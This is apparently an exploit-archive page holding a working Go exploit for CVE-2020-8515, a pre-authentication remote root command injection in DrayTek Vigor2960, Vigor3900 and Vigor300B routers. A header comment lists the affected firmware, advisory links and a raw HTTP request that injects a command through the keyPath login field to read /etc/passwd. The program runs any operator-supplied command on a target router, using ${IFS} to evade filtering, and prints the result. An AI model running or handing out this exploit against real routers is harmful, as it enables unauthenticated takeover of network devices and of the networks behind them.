DrayTek Vigor2960 / Vigor3900 / Vigor300B Remote Command Execution

                							

                package main


/*
CVE-2020-8515: DrayTek pre-auth remote root RCE
Mon Mar 30 2020 -  0xsha.io
Affected:
DrayTek Vigor2960 1.3.1_Beta, Vigor3900 1.4.4_Beta,
and Vigor300B 1.3.3_Beta, 1.4.2.1_Beta,
and 1.4.4_Beta
You should upgrade as soon as possible to 1.5.1 firmware or later
This issue has been fixed in Vigor3900/2960/300B v1.5.1.
read more :
https://www.skullarmy.net/2020/01/draytek-unauthenticated-rce-in-draytek.html
https://www.draytek.com/about/security-advisory/vigor3900-/-vigor2960-/-vigor300b-router-web-management-page-vulnerability-(cve-2020-8515)/
https://thehackernews.com/2020/03/draytek-network-hacking.html
https://blog.netlab.360.com/two-zero-days-are-targeting-draytek-broadband-cpe-devices-en/
exploiting using keyPath
POST /cgi-bin/mainfunction.cgi HTTP/1.1
Host: 1.2.3.4
Content-Length: 89
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
action=login&keyPath=%27%0A%2fbin%2fcat${IFS}%2fetc%2fpasswd%0A%27&loginUser=a&loginPwd=a
 */

import (
  "fmt"
  "io/ioutil"
  "net/http"
  "net/url"
  "os"
  "strings"
)

func usage()  {

  fmt.Println("CVE-2020-8515 exploit by  @0xsha ")
  fmt.Println("Usage :  " + os.Args[0] + " URL " + "command"  )
  fmt.Println("E.G :  " + os.Args[0] + " http://1.2.3.4 " + "\"uname -a\""  )
}

func main() {


  if len(os.Args) < 3 {
    usage()
    os.Exit(-1)
  }

  targetUrl := os.Args[1]
  //cmd := "cat /etc/passwd"
  cmd := os.Args[2]


  // payload preparation
  vulnerableFile := "/cgi-bin/mainfunction.cgi"
  // specially crafted CMD
  // action=login&keyPath=%27%0A%2fbin%2fcat${IFS}%2fetc%2fpasswd%0A%27&loginUser=a&loginPwd=a
  payload :=`'
  /bin/sh -c 'CMD'
  '`
  payload = strings.ReplaceAll(payload,"CMD", cmd)
  bypass := strings.ReplaceAll(payload," ", "${IFS}")

  //PostForm call url encoder internally
  resp, err := http.PostForm(targetUrl+vulnerableFile ,
    url.Values{"action": {"login"}, "keyPath": {bypass} , "loginUser": {"a"}, "loginPwd": {"a"}   })

  if err != nil{
    fmt.Println("error connecting host")
    os.Exit(-1)
  }


  defer resp.Body.Close()
  body, err := ioutil.ReadAll(resp.Body)
  
  if err != nil{
    fmt.Println("error reading data")
    os.Exit(-1)
  }
  
  fmt.Println(string(body))

}
<p>